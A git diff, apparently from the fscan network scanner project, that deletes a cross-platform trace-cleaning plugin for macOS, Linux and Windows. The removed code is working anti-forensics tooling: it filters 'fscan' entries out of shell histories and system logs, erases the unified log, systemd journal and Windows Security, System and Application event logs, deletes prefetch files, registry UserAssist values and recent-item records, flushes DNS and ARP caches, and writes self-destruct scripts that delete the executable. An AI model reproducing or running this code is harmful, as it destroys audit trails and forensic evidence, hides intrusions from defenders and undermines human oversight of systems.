tempFiles...) - report["temp_files"] = tempFiles - } - - // 6. 清理LaunchServices数据库 - if launchServices := p.cleanLaunchServicesDB(); len(launchServices) > 0 { - cleaned = append(cleaned, launchServices...) - report["launch_services"] = launchServices - } - - p.cleanupStats["system_entries"] += len(cleaned) - report["total_cleaned"] = len(cleaned) - - return report -} - -// cleanShellHistory 清理Shell历史记录 (与Linux类似) -func (p *CleanerPlugin) cleanShellHistory() []string { - var cleaned []string - - homeDir := os.Getenv("HOME") - if homeDir == "" { - return cleaned - } - - // macOS常见的Shell历史文件 - historyFiles := []string{ - ".bash_history", - ".zsh_history", - ".sh_history", - } - - for _, histFile := range historyFiles { - histPath := filepath.Join(homeDir, histFile) - - if _, err := os.Stat(histPath); os.IsNotExist(err) { - continue - } - - content, err := os.ReadFile(histPath) - if err != nil { - common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err)) - continue - } - - lines := strings.Split(string(content), "\n") - var filteredLines []string - removedCount := 0 - - for _, line := range lines { - if strings.Contains(strings.ToLower(line), "fscan") { - removedCount++ - continue - } - filteredLines = append(filteredLines, line) - } - - if removedCount > 0 { - newContent := strings.Join(filteredLines, "\n") - if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil { - common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err)) - } else { - cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount)) - common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount)) - } - } - } - - // 清理当前会话历史 - if err := exec.Command("history", "-c").Run(); err != nil { - common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err)) - } else { - cleaned = append(cleaned, "Current session history") - common.LogSuccess("已清理当前会话历史记录") - } - - return cleaned -} - -// cleanMacSystemLogs 清理macOS系统日志 -func (p *CleanerPlugin) cleanMacSystemLogs() []string { - var cleaned []string - - // macOS系统日志路径 - logPaths := []string{ - "/var/log/system.log", - "/var/log/install.log", - "/var/log/secure.log", - } - - // 用户日志目录 - homeDir := os.Getenv("HOME") - if homeDir != "" { - userLogDir := filepath.Join(homeDir, "Library", "Logs") - if entries, err := os.ReadDir(userLogDir); err == nil { - for _, entry := range entries { - if strings.Contains(strings.ToLower(entry.Name()), "fscan") { - logPaths = append(logPaths, filepath.Join(userLogDir, entry.Name())) - } - } - } - } - - for _, logPath := range logPaths { - if _, err := os.Stat(logPath); os.IsNotExist(err) { - continue - } - - if p.filterLogFile(logPath) { - cleaned = append(cleaned, logPath) - } - } - - // 使用log命令清理系统日志 - if err := exec.Command("log", "erase", "--all").Run(); err != nil { - common.LogDebug(fmt.Sprintf("清理统一日志失败 (权限不足): %v", err)) - } else { - cleaned = append(cleaned, "Unified Logging System") - common.LogSuccess("已清理统一日志系统") - } - - return cleaned -} - -// filterLogFile 过滤日志文件 (与Linux类似) -func (p *CleanerPlugin) filterLogFile(logPath string) bool { - file, err := os.OpenFile(logPath, os.O_RDWR, 0) - if err != nil { - common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err)) - return false - } - defer file.Close() - - content, err := os.ReadFile(logPath) - if err != nil { - return false - } - - lines := strings.Split(string(content), "\n") - var filteredLines []string - removedCount := 0 - - for _, line := range lines { - if strings.Contains(strings.ToLower(line), "fscan") { - removedCount++ - continue - } - filteredLines = append(filteredLines, line) - } - - if removedCount > 0 { - newContent := strings.Join(filteredLines, "\n") - if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil { - common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err)) - return false - } - common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount)) - return true - } - - return false -} - -// cleanRecentItems 清理macOS最近项目记录 -func (p *CleanerPlugin) cleanRecentItems() []string { - var cleaned []string - - homeDir := os.Getenv("HOME") - if homeDir == "" { - return cleaned - } - - // 最近项目plist文件 - recentPaths := []string{ - filepath.Join(homeDir, "Library", "Preferences", "com.apple.recentitems.plist"), - filepath.Join(homeDir, "Library", "Application Support", "com.apple.sharedfilelist"), - } - - for _, recentPath := range recentPaths { - if _, err := os.Stat(recentPath); os.IsNotExist(err) { - continue - } - - // 对于plist文件,我们采用删除整个文件的方式 - if strings.HasSuffix(recentPath, ".plist") { - if err := os.Remove(recentPath); err != nil { - common.LogDebug(fmt.Sprintf("删除最近项目文件失败: %v", err)) - } else { - cleaned = append(cleaned, recentPath) - common.LogSuccess(fmt.Sprintf("已删除最近项目记录: %s", filepath.Base(recentPath))) - } - } - } - - return cleaned -} - -// cleanSpotlightIndex 清理Spotlight索引 -func (p *CleanerPlugin) cleanSpotlightIndex() []string { - var cleaned []string - - // 重建当前目录的Spotlight索引 - if err := exec.Command("mdutil", "-E", p.workingDirectory).Run(); err != nil { - common.LogDebug(fmt.Sprintf("重建Spotlight索引失败: %v", err)) - } else { - cleaned = append(cleaned, fmt.Sprintf("Spotlight index for %s", p.workingDirectory)) - common.LogSuccess("已重建Spotlight索引") - } - - return cleaned -} - -// cleanMacTempFiles 清理macOS临时文件 -func (p *CleanerPlugin) cleanMacTempFiles() []string { - var cleaned []string - - homeDir := os.Getenv("HOME") - - // macOS临时目录 - tempDirs := []string{ - "/tmp", - "/var/tmp", - } - - if homeDir != "" { - tempDirs = append(tempDirs, []string{ - filepath.Join(homeDir, "Library", "Caches"), - filepath.Join(homeDir, "Library", "Application Support"), - }...) - } - - for _, tempDir := range tempDirs { - entries, err := os.ReadDir(tempDir) - if err != nil { - continue - } - - for _, entry := range entries { - entryName := strings.ToLower(entry.Name()) - if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "tmp") { - entryPath := filepath.Join(tempDir, entry.Name()) - - // 检查文件修改时间 - if info, err := entry.Info(); err == nil { - if time.Since(info.ModTime()) < 5*time.Minute { - continue - } - } - - if entry.IsDir() { - if err := os.RemoveAll(entryPath); err != nil { - common.LogDebug(fmt.Sprintf("删除临时目录失败: %v", err)) - } else { - cleaned = append(cleaned, entryPath) - p.cleanupStats["directories"]++ - } - } else { - if err := os.Remove(entryPath); err != nil { - common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err)) - } else { - cleaned = append(cleaned, entryPath) - common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name())) - } - } - } - } - } - - return cleaned -} - -// cleanLaunchServicesDB 清理LaunchServices数据库 -func (p *CleanerPlugin) cleanLaunchServicesDB() []string { - var cleaned []string - - // 重建LaunchServices数据库 - if err := exec.Command("/System/Library/Frameworks/CoreServices.framework/Frameworks/LaunchServices.framework/Support/lsregister", "-kill", "-r", "-domain", "local", "-domain", "system", "-domain", "user").Run(); err != nil { - common.LogDebug(fmt.Sprintf("重建LaunchServices数据库失败: %v", err)) - } else { - cleaned = append(cleaned, "LaunchServices Database") - common.LogSuccess("已重建LaunchServices数据库") - } - - return cleaned -} - -// cleanNetworkTraces 清理网络痕迹 -func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} { - report := make(map[string]interface{}) - var cleaned []string - - // 清理DNS缓存 - if err := exec.Command("dscacheutil", "-flushcache").Run(); err != nil { - common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err)) - } else { - cleaned = append(cleaned, "DNS Cache (dscacheutil)") - common.LogSuccess("已清理DNS缓存") - } - - // 清理mDNS缓存 - if err := exec.Command("killall", "-HUP", "mDNSResponder").Run(); err != nil { - common.LogDebug(fmt.Sprintf("重启mDNSResponder失败: %v", err)) - } else { - cleaned = append(cleaned, "mDNS Cache") - common.LogSuccess("已重启mDNSResponder") - } - - // 清理ARP缓存 - if err := exec.Command("arp", "-d", "-a").Run(); err != nil { - common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err)) - } else { - cleaned = append(cleaned, "ARP Cache") - common.LogSuccess("已清理ARP缓存") - } - - report["network_caches"] = cleaned - report["total_cleaned"] = len(cleaned) - - return report -} - -// createUnixSelfDestruct 创建Unix自毁脚本 (与Linux共用) -func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} { - report := make(map[string]interface{}) - - // 创建shell自毁脚本 - shellScript := fmt.Sprintf(`#!/bin/bash -sleep 2 -rm -f "%s" 2>/dev/null -rm -f "$0" 2>/dev/null -exit 0`, p.currentExecutable) - - scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh") - - if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil { - common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err)) - report["status"] = "failed" - report["error"] = err.Error() - } else { - // 异步执行自毁脚本 - go func() { - time.Sleep(1 * time.Second) - cmd := exec.Command("/bin/bash", scriptPath) - cmd.Start() - }() - - report["status"] = "scheduled" - report["script_path"] = scriptPath - common.LogInfo("已创建自毁脚本,将在退出后执行") - } - - return report -} - -// prepareSelfDestruction 准备自毁 -func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} { - return p.createUnixSelfDestruct() -} \ No newline at end of file diff --git a/plugins/local_backup/cleaner/cleaner_linux.go b/plugins/local_backup/cleaner/cleaner_linux.go deleted file mode 100644 index 1af1ab2..0000000 --- a/plugins/local_backup/cleaner/cleaner_linux.go +++ /dev/null @@ -1,421 +0,0 @@ -//go:build linux - -package cleaner - -import ( - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" -) - -// cleanSystemTraces 清理Linux系统痕迹 -func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} { - report := make(map[string]interface{}) - var cleaned []string - - // 1. 清理Shell历史记录 - if shellHistory := p.cleanShellHistory(); len(shellHistory) > 0 { - cleaned = append(cleaned, shellHistory...) - report["shell_history"] = shellHistory - } - - // 2. 清理系统日志 - if systemLogs := p.cleanLinuxSystemLogs(); len(systemLogs) > 0 { - cleaned = append(cleaned, systemLogs...) - report["system_logs"] = systemLogs - } - - // 3. 清理临时文件 - if tempFiles := p.cleanLinuxTempFiles(); len(tempFiles) > 0 { - cleaned = append(cleaned, tempFiles...) - report["temp_files"] = tempFiles - } - - // 4. 清理用户缓存 - if userCache := p.cleanUserCache(); len(userCache) > 0 { - cleaned = append(cleaned, userCache...) - report["user_cache"] = userCache - } - - // 5. 清理最近访问记录 - if recentFiles := p.cleanRecentFiles(); len(recentFiles) > 0 { - cleaned = append(cleaned, recentFiles...) - report["recent_files"] = recentFiles - } - - p.cleanupStats["system_entries"] += len(cleaned) - report["total_cleaned"] = len(cleaned) - - return report -} - -// cleanShellHistory 清理Shell历史记录 -func (p *CleanerPlugin) cleanShellHistory() []string { - var cleaned []string - - homeDir := os.Getenv("HOME") - if homeDir == "" { - return cleaned - } - - // 常见的Shell历史文件 - historyFiles := []string{ - ".bash_history", - ".zsh_history", - ".fish_history", - ".sh_history", - } - - for _, histFile := range historyFiles { - histPath := filepath.Join(homeDir, histFile) - - // 检查文件是否存在 - if _, err := os.Stat(histPath); os.IsNotExist(err) { - continue - } - - // 读取历史文件 - content, err := os.ReadFile(histPath) - if err != nil { - common.LogDebug(fmt.Sprintf("无法读取历史文件 %s: %v", histPath, err)) - continue - } - - // 过滤掉包含fscan的行 - lines := strings.Split(string(content), "\n") - var filteredLines []string - removedCount := 0 - - for _, line := range lines { - if strings.Contains(strings.ToLower(line), "fscan") { - removedCount++ - continue - } - filteredLines = append(filteredLines, line) - } - - if removedCount > 0 { - // 写回过滤后的内容 - newContent := strings.Join(filteredLines, "\n") - if err := os.WriteFile(histPath, []byte(newContent), 0600); err != nil { - common.LogError(fmt.Sprintf("更新历史文件失败 %s: %v", histPath, err)) - } else { - cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", histPath, removedCount)) - common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", histFile, removedCount)) - } - } - } - - // 清理当前会话的历史记录 - if err := exec.Command("history", "-c").Run(); err != nil { - common.LogDebug(fmt.Sprintf("清理当前会话历史失败: %v", err)) - } else { - cleaned = append(cleaned, "Current session history") - common.LogSuccess("已清理当前会话历史记录") - } - - return cleaned -} - -// cleanLinuxSystemLogs 清理Linux系统日志 -func (p *CleanerPlugin) cleanLinuxSystemLogs() []string { - var cleaned []string - - // 系统日志路径 - logPaths := []string{ - "/var/log/auth.log", - "/var/log/syslog", - "/var/log/messages", - "/var/log/secure", - "/var/log/user.log", - } - - for _, logPath := range logPaths { - if _, err := os.Stat(logPath); os.IsNotExist(err) { - continue - } - - // 尝试清理日志中的相关条目 - if p.filterLogFile(logPath) { - cleaned = append(cleaned, logPath) - } - } - - // 清理journal日志(如果有权限) - if err := exec.Command("journalctl", "--vacuum-time=1s").Run(); err != nil { - common.LogDebug(fmt.Sprintf("清理journal日志失败 (权限不足): %v", err)) - } else { - cleaned = append(cleaned, "systemd journal") - common.LogSuccess("已清理systemd journal日志") - } - - return cleaned -} - -// filterLogFile 过滤日志文件 -func (p *CleanerPlugin) filterLogFile(logPath string) bool { - // 检查读写权限 - file, err := os.OpenFile(logPath, os.O_RDWR, 0) - if err != nil { - common.LogDebug(fmt.Sprintf("无法访问日志文件 %s (权限不足): %v", logPath, err)) - return false - } - defer file.Close() - - // 读取文件内容 - content, err := os.ReadFile(logPath) - if err != nil { - return false - } - - // 过滤包含fscan的行 - lines := strings.Split(string(content), "\n") - var filteredLines []string - removedCount := 0 - - for _, line := range lines { - if strings.Contains(strings.ToLower(line), "fscan") { - removedCount++ - continue - } - filteredLines = append(filteredLines, line) - } - - if removedCount > 0 { - // 写回过滤后的内容 - newContent := strings.Join(filteredLines, "\n") - if err := os.WriteFile(logPath, []byte(newContent), 0644); err != nil { - common.LogError(fmt.Sprintf("更新日志文件失败 %s: %v", logPath, err)) - return false - } - common.LogSuccess(fmt.Sprintf("已从 %s 清理 %d 条记录", filepath.Base(logPath), removedCount)) - return true - } - - return false -} - -// cleanLinuxTempFiles 清理Linux临时文件 -func (p *CleanerPlugin) cleanLinuxTempFiles() []string { - var cleaned []string - - // 临时目录 - tempDirs := []string{ - "/tmp", - "/var/tmp", - "/dev/shm", - } - - // 用户临时目录 - if homeDir := os.Getenv("HOME"); homeDir != "" { - tempDirs = append(tempDirs, filepath.Join(homeDir, ".tmp")) - } - - for _, tempDir := range tempDirs { - entries, err := os.ReadDir(tempDir) - if err != nil { - continue - } - - for _, entry := range entries { - if entry.IsDir() { - continue - } - - filename := strings.ToLower(entry.Name()) - if strings.Contains(filename, "fscan") || strings.HasPrefix(filename, "tmp") { - tempFile := filepath.Join(tempDir, entry.Name()) - - // 检查文件是否太新(可能正在使用) - if info, err := entry.Info(); err == nil { - if time.Since(info.ModTime()) < 5*time.Minute { - continue - } - } - - if err := os.Remove(tempFile); err != nil { - common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err)) - } else { - cleaned = append(cleaned, tempFile) - common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name())) - } - } - } - } - - return cleaned -} - -// cleanUserCache 清理用户缓存 -func (p *CleanerPlugin) cleanUserCache() []string { - var cleaned []string - - homeDir := os.Getenv("HOME") - if homeDir == "" { - return cleaned - } - - // 缓存目录 - cacheDirs := []string{ - filepath.Join(homeDir, ".cache"), - filepath.Join(homeDir, ".local", "share"), - } - - for _, cacheDir := range cacheDirs { - entries, err := os.ReadDir(cacheDir) - if err != nil { - continue - } - - for _, entry := range entries { - entryPath := filepath.Join(cacheDir, entry.Name()) - entryName := strings.ToLower(entry.Name()) - - if strings.Contains(entryName, "fscan") || strings.Contains(entryName, "scan") { - if entry.IsDir() { - if err := os.RemoveAll(entryPath); err != nil { - common.LogDebug(fmt.Sprintf("删除缓存目录失败: %v", err)) - } else { - cleaned = append(cleaned, entryPath) - p.cleanupStats["directories"]++ - } - } else { - if err := os.Remove(entryPath); err != nil { - common.LogDebug(fmt.Sprintf("删除缓存文件失败: %v", err)) - } else { - cleaned = append(cleaned, entryPath) - } - } - } - } - } - - return cleaned -} - -// cleanRecentFiles 清理最近访问文件记录 -func (p *CleanerPlugin) cleanRecentFiles() []string { - var cleaned []string - - homeDir := os.Getenv("HOME") - if homeDir == "" { - return cleaned - } - - // 最近文件记录路径 - recentPaths := []string{ - filepath.Join(homeDir, ".local", "share", "recently-used.xbel"), - filepath.Join(homeDir, ".recently-used"), - filepath.Join(homeDir, ".gtk-bookmarks"), - } - - for _, recentPath := range recentPaths { - if _, err := os.Stat(recentPath); os.IsNotExist(err) { - continue - } - - // 读取并过滤文件内容 - content, err := os.ReadFile(recentPath) - if err != nil { - continue - } - - lines := strings.Split(string(content), "\n") - var filteredLines []string - removedCount := 0 - - for _, line := range lines { - if strings.Contains(strings.ToLower(line), "fscan") { - removedCount++ - continue - } - filteredLines = append(filteredLines, line) - } - - if removedCount > 0 { - newContent := strings.Join(filteredLines, "\n") - if err := os.WriteFile(recentPath, []byte(newContent), 0644); err != nil { - common.LogError(fmt.Sprintf("更新最近文件记录失败: %v", err)) - } else { - cleaned = append(cleaned, fmt.Sprintf("%s (%d entries)", recentPath, removedCount)) - common.LogSuccess(fmt.Sprintf("已清理 %s 中的 %d 条记录", filepath.Base(recentPath), removedCount)) - } - } - } - - return cleaned -} - -// cleanNetworkTraces 清理网络痕迹 -func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} { - report := make(map[string]interface{}) - var cleaned []string - - // 清理DNS缓存 (systemd-resolved) - if err := exec.Command("systemctl", "flush-dns").Run(); err != nil { - // 尝试其他DNS清理方法 - if err2 := exec.Command("systemd-resolve", "--flush-caches").Run(); err2 != nil { - common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v, %v", err, err2)) - } else { - cleaned = append(cleaned, "DNS Cache (systemd-resolve)") - } - } else { - cleaned = append(cleaned, "DNS Cache (systemctl)") - } - - // 清理ARP缓存 - if err := exec.Command("ip", "neigh", "flush", "all").Run(); err != nil { - common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err)) - } else { - cleaned = append(cleaned, "ARP Cache") - common.LogSuccess("已清理ARP缓存") - } - - report["network_caches"] = cleaned - report["total_cleaned"] = len(cleaned) - - return report -} - -// createUnixSelfDestruct 创建Unix自毁脚本 -func (p *CleanerPlugin) createUnixSelfDestruct() map[string]interface{} { - report := make(map[string]interface{}) - - // 创建shell自毁脚本 - shellScript := fmt.Sprintf(`#!/bin/bash -sleep 2 -rm -f "%s" 2>/dev/null -rm -f "$0" 2>/dev/null -exit 0`, p.currentExecutable) - - scriptPath := filepath.Join(p.workingDirectory, "cleanup.sh") - - if err := os.WriteFile(scriptPath, []byte(shellScript), 0755); err != nil { - common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err)) - report["status"] = "failed" - report["error"] = err.Error() - } else { - // 异步执行自毁脚本 - go func() { - time.Sleep(1 * time.Second) - cmd := exec.Command("/bin/sh", scriptPath) - cmd.Start() - }() - - report["status"] = "scheduled" - report["script_path"] = scriptPath - common.LogInfo("已创建自毁脚本,将在退出后执行") - } - - return report -} - -// prepareSelfDestruction 准备自毁 -func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} { - return p.createUnixSelfDestruct() -} \ No newline at end of file diff --git a/plugins/local_backup/cleaner/cleaner_windows.go b/plugins/local_backup/cleaner/cleaner_windows.go deleted file mode 100644 index 42b40a9..0000000 --- a/plugins/local_backup/cleaner/cleaner_windows.go +++ /dev/null @@ -1,359 +0,0 @@ -//go:build windows - -package cleaner - -import ( - "fmt" - "os" - "os/exec" - "path/filepath" - "strings" - "syscall" - "time" - - "github.com/shadow1ng/fscan/common" -) - -// cleanSystemTraces 清理Windows系统痕迹 -func (p *CleanerPlugin) cleanSystemTraces() map[string]interface{} { - report := make(map[string]interface{}) - var cleaned []string - - // 1. 清理Windows事件日志 - if eventLogs := p.cleanWindowsEventLogs(); len(eventLogs) > 0 { - cleaned = append(cleaned, eventLogs...) - report["event_logs"] = eventLogs - } - - // 2. 清理预取文件 - if prefetchFiles := p.cleanPrefetchFiles(); len(prefetchFiles) > 0 { - cleaned = append(cleaned, prefetchFiles...) - report["prefetch_files"] = prefetchFiles - } - - // 3. 清理注册表痕迹 - if registryKeys := p.cleanRegistryTraces(); len(registryKeys) > 0 { - cleaned = append(cleaned, registryKeys...) - report["registry_keys"] = registryKeys - } - - // 4. 清理最近文档记录 - if recentDocs := p.cleanRecentDocuments(); len(recentDocs) > 0 { - cleaned = append(cleaned, recentDocs...) - report["recent_documents"] = recentDocs - } - - // 5. 清理Windows临时文件 - if tempFiles := p.cleanWindowsTempFiles(); len(tempFiles) > 0 { - cleaned = append(cleaned, tempFiles...) - report["temp_files"] = tempFiles - } - - p.cleanupStats["system_entries"] += len(cleaned) - report["total_cleaned"] = len(cleaned) - - return report -} - -// cleanWindowsEventLogs 清理Windows事件日志 -func (p *CleanerPlugin) cleanWindowsEventLogs() []string { - var cleaned []string - - // 尝试清理应用程序日志中的相关条目 - logs := []string{"Application", "System", "Security"} - - for _, logName := range logs { - // 使用wevtutil清理日志 - cmd := exec.Command("wevtutil", "cl", logName) - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - - if err := cmd.Run(); err != nil { - common.LogDebug(fmt.Sprintf("清理 %s 日志失败 (权限不足): %v", logName, err)) - } else { - cleaned = append(cleaned, fmt.Sprintf("Windows Event Log: %s", logName)) - common.LogSuccess(fmt.Sprintf("已清理Windows事件日志: %s", logName)) - } - } - - return cleaned -} - -// cleanPrefetchFiles 清理预取文件 -func (p *CleanerPlugin) cleanPrefetchFiles() []string { - var cleaned []string - - prefetchDir := "C:\\Windows\\Prefetch" - if _, err := os.Stat(prefetchDir); os.IsNotExist(err) { - return cleaned - } - - // 查找fscan相关的预取文件 - entries, err := os.ReadDir(prefetchDir) - if err != nil { - common.LogDebug(fmt.Sprintf("无法访问预取目录 (权限不足): %v", err)) - return cleaned - } - - for _, entry := range entries { - if entry.IsDir() { - continue - } - - filename := strings.ToUpper(entry.Name()) - if strings.Contains(filename, "FSCAN") { - prefetchFile := filepath.Join(prefetchDir, entry.Name()) - if err := os.Remove(prefetchFile); err != nil { - common.LogDebug(fmt.Sprintf("删除预取文件失败: %v", err)) - } else { - cleaned = append(cleaned, prefetchFile) - common.LogSuccess(fmt.Sprintf("已删除预取文件: %s", entry.Name())) - } - } - } - - return cleaned -} - -// cleanRegistryTraces 清理注册表痕迹 -func (p *CleanerPlugin) cleanRegistryTraces() []string { - var cleaned []string - - // 清理UserAssist注册表项 - if userAssist := p.cleanUserAssistRegistry(); len(userAssist) > 0 { - cleaned = append(cleaned, userAssist...) - } - - // 清理MRU(最近使用)记录 - if mru := p.cleanMRURegistry(); len(mru) > 0 { - cleaned = append(cleaned, mru...) - } - - return cleaned -} - -// cleanUserAssistRegistry 清理UserAssist注册表 -func (p *CleanerPlugin) cleanUserAssistRegistry() []string { - var cleaned []string - - // UserAssist键路径 - keyPaths := []string{ - "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{CEBFF5CD-ACE2-4F4F-9178-9926F41749EA}\\Count", - "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\UserAssist\\{F4E57C4B-2036-45F0-A9AB-443BCFE33D9F}\\Count", - } - - for _, keyPath := range keyPaths { - // 查询注册表项 - cmd := exec.Command("reg", "query", keyPath) - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - - output, err := cmd.Output() - if err != nil { - continue - } - - // 查找fscan相关条目并删除 - lines := strings.Split(string(output), "\n") - for _, line := range lines { - if strings.Contains(strings.ToUpper(line), "FSCAN") { - // 提取值名称 - parts := strings.Fields(line) - if len(parts) > 0 { - valueName := parts[0] - - // 删除注册表值 - delCmd := exec.Command("reg", "delete", keyPath, "/v", valueName, "/f") - delCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - - if err := delCmd.Run(); err != nil { - common.LogDebug(fmt.Sprintf("删除注册表项失败: %v", err)) - } else { - cleaned = append(cleaned, fmt.Sprintf("Registry: %s\\%s", keyPath, valueName)) - common.LogSuccess(fmt.Sprintf("已删除UserAssist记录: %s", valueName)) - } - } - } - } - } - - return cleaned -} - -// cleanMRURegistry 清理MRU注册表记录 -func (p *CleanerPlugin) cleanMRURegistry() []string { - var cleaned []string - - // MRU键路径 - mruKeys := []string{ - "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RecentDocs", - "HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\RunMRU", - } - - for _, keyPath := range mruKeys { - // 这里可以添加更复杂的MRU清理逻辑 - // 由于安全考虑,暂时只记录路径 - common.LogDebug(fmt.Sprintf("检查MRU路径: %s", keyPath)) - } - - return cleaned -} - -// cleanRecentDocuments 清理最近文档记录 -func (p *CleanerPlugin) cleanRecentDocuments() []string { - var cleaned []string - - // 获取用户目录 - userProfile := os.Getenv("USERPROFILE") - if userProfile == "" { - return cleaned - } - - // 最近文档目录 - recentDir := filepath.Join(userProfile, "AppData", "Roaming", "Microsoft", "Windows", "Recent") - - entries, err := os.ReadDir(recentDir) - if err != nil { - common.LogDebug(fmt.Sprintf("无法访问最近文档目录: %v", err)) - return cleaned - } - - for _, entry := range entries { - if entry.IsDir() { - continue - } - - filename := strings.ToLower(entry.Name()) - if strings.Contains(filename, "fscan") || strings.Contains(filename, "result") { - recentFile := filepath.Join(recentDir, entry.Name()) - if err := os.Remove(recentFile); err != nil { - common.LogDebug(fmt.Sprintf("删除最近文档失败: %v", err)) - } else { - cleaned = append(cleaned, recentFile) - common.LogSuccess(fmt.Sprintf("已删除最近文档: %s", entry.Name())) - } - } - } - - return cleaned -} - -// cleanWindowsTempFiles 清理Windows临时文件 -func (p *CleanerPlugin) cleanWindowsTempFiles() []string { - var cleaned []string - - // 临时目录 - tempDirs := []string{ - os.Getenv("TEMP"), - os.Getenv("TMP"), - "C:\\Windows\\Temp", - } - - for _, tempDir := range tempDirs { - if tempDir == "" { - continue - } - - entries, err := os.ReadDir(tempDir) - if err != nil { - continue - } - - for _, entry := range entries { - if entry.IsDir() { - continue - } - - filename := strings.ToLower(entry.Name()) - if strings.Contains(filename, "fscan") || strings.Contains(filename, "tmp") { - tempFile := filepath.Join(tempDir, entry.Name()) - - // 检查文件是否太新(可能正在使用) - if info, err := entry.Info(); err == nil { - if time.Since(info.ModTime()) < 5*time.Minute { - continue - } - } - - if err := os.Remove(tempFile); err != nil { - common.LogDebug(fmt.Sprintf("删除临时文件失败: %v", err)) - } else { - cleaned = append(cleaned, tempFile) - common.LogSuccess(fmt.Sprintf("已删除临时文件: %s", entry.Name())) - } - } - } - } - - return cleaned -} - -// cleanNetworkTraces 清理网络痕迹 -func (p *CleanerPlugin) cleanNetworkTraces() map[string]interface{} { - report := make(map[string]interface{}) - var cleaned []string - - // 1. 清理DNS缓存 - cmd := exec.Command("ipconfig", "/flushdns") - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - - if err := cmd.Run(); err != nil { - common.LogDebug(fmt.Sprintf("清理DNS缓存失败: %v", err)) - } else { - cleaned = append(cleaned, "DNS Cache") - common.LogSuccess("已清理DNS缓存") - } - - // 2. 清理ARP缓存 - arpCmd := exec.Command("arp", "-d", "*") - arpCmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - - if err := arpCmd.Run(); err != nil { - common.LogDebug(fmt.Sprintf("清理ARP缓存失败: %v", err)) - } else { - cleaned = append(cleaned, "ARP Cache") - common.LogSuccess("已清理ARP缓存") - } - - report["network_caches"] = cleaned - report["total_cleaned"] = len(cleaned) - - return report -} - -// createWindowsSelfDestruct 创建Windows自毁脚本 -func (p *CleanerPlugin) createWindowsSelfDestruct() map[string]interface{} { - report := make(map[string]interface{}) - - // 创建批处理自毁脚本 - batchScript := fmt.Sprintf(`@echo off -timeout /t 2 /nobreak > nul -del /f /q "%s" 2>nul -del /f /q "%%~f0" 2>nul -exit`, p.currentExecutable) - - scriptPath := filepath.Join(p.workingDirectory, "cleanup.bat") - - if err := os.WriteFile(scriptPath, []byte(batchScript), 0644); err != nil { - common.LogError(fmt.Sprintf("创建自毁脚本失败: %v", err)) - report["status"] = "failed" - report["error"] = err.Error() - } else { - // 异步执行自毁脚本 - go func() { - time.Sleep(1 * time.Second) - cmd := exec.Command(scriptPath) - cmd.SysProcAttr = &syscall.SysProcAttr{HideWindow: true} - cmd.Start() - }() - - report["status"] = "scheduled" - report["script_path"] = scriptPath - common.LogInfo("已创建自毁脚本,将在退出后执行") - } - - return report -} - -// prepareSelfDestruction 准备自毁 -func (p *CleanerPlugin) prepareSelfDestruction() map[string]interface{} { - return p.createWindowsSelfDestruct() -} \ No newline at end of file diff --git a/plugins/local_backup/cleaner/plugin.go b/plugins/local_backup/cleaner/plugin.go deleted file mode 100644 index 2c3f4ff..0000000 --- a/plugins/local_backup/cleaner/plugin.go +++ /dev/null @@ -1,386 +0,0 @@ -package cleaner - -import ( - "context" - "fmt" - "os" - "path/filepath" - "runtime" - "strings" - "time" - - "github.com/shadow1ng/fscan/common" - "github.com/shadow1ng/fscan/plugins/base" - "github.com/shadow1ng/fscan/plugins/local" -) - -// CleanerPlugin 系统痕迹清理插件 - 跨平台支持 -type CleanerPlugin struct { - *local.BaseLocalPlugin - - // 配置选项 - targetFiles []string // 要清理的文件列表 - cleanDirectories []string // 要清理的目录列表 - currentExecutable string // 当前执行文件路径 - workingDirectory string // 当前工作目录 - cleanupStats map[string]int // 清理统计 -} - -// NewCleanerPlugin 创建系统痕迹清理插件 -func NewCleanerPlugin() *CleanerPlugin { - metadata := &base.PluginMetadata{ - Name: "cleaner", - Version: "1.0.0", - Author: "fscan-team", - Description: "跨平台系统痕迹清理插件,清理扫描过程中产生的文件和系统痕迹", - Category: "local", - Tags: []string{"local", "cleaner", "forensics", "cross-platform"}, - Protocols: []string{"local"}, - } 